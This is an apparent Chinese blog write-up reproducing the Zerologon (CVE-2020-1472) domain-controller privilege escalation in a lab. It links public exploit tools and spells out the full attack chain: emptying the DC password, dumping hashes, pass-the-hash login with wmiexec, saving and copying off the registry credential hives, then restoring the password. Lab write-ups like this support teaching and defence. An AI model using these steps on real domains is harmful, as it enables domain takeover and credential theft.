CVE-2020-1472 域内提权漏洞

声明：

利用此文所提供的信息造成的后果和损失，均由使用者本人负责，作者不为此承担任何责任。

简介：

Netlogon使用的AES认证算法中的vi向量默认为0，导致攻击者可以绕过认证，同时其设置域控密码的远程接口也使用了该函数，导致可以将域控中保存在AD中的管理员password设置为空

环境搭建：

环境搭建的时候个人比较懒，直接使用的红日的第一套靶场用来复现，红日靶场的链接：

http://vulnstack.qiyuanxuetang.net/vuln/

密码默认为hongrisec@2019大家可以自行修改密码，关闭防火墙。

影响版本：

Windows Server 2008 R2 for x64-based SystemsService Pack 1Windows Server 2008 R2 for x64-basedSystems Service Pack 1 (Server Core installation)Windows Server 2012Windows Server 2012 (Server Core installation)Windows Server 2012 R2Windows Server 2012 R2 (Server Core installation)Windows Server 2016Windows Server 2016 (Server Core installation)Windows Server 2019Windows Server 2019 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows Server, version 1909 (Server Core installation)Windows Server, version 2004 (Server Core installation)

复现环境：

DC: Windows Server 2008  

IP : 192.168.52.138

攻击机：192.168.52.100

漏洞复现：

下载poc：https://github.com/SecuraBV/CVE-2020-1472 使用poc检查漏洞

python3 zerologon_tester.py DC_主机 DC_IP

按照网上的文章复现使用exp:https://github.com/dirkjanm/CVE-2020-1472，如果出现以下情况，需要更新impacket。

git clone https://github.com/CoreSecurity/impacket.git
cd impacket
python setup.py insall

安装完成之后再执行，第一步操作是将域控的密码置空。

第二步、dump密码的时候一直报错，于是询问其他师傅，师傅给了我一个项目地址：https://github.com/mstxq17/cve-2020-1472。

py -3 secretsdump.py -no-pass ./[email protected]

第三步、使用wmiexec连接。

wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:81be2f80d568100549beac645d6a7141 ./[email protected]

‍

第四步、导出sam到本地。

reg save HKLMSYSTEM system.savereg save HKLMSAM sam.savereg save HKLMSECURITY security.saveget system.saveget sam.saveget security.savedel system.savedel sam.savedel security.save

第五步、显示dc密码。

Py -3 secretsdump.py -sam sam.save -system system.save -security security.save local

使用工具https://github.com/risksense/zerologon 将dc密码恢复。

py -3 reinstall_original_pw.py owa 192.168.52.138 874678b6fb3119f7751a706ede7a5e79

本文始发于微信公众号（哈拉少安全小队）：CVE-2020-1472 域内提权漏洞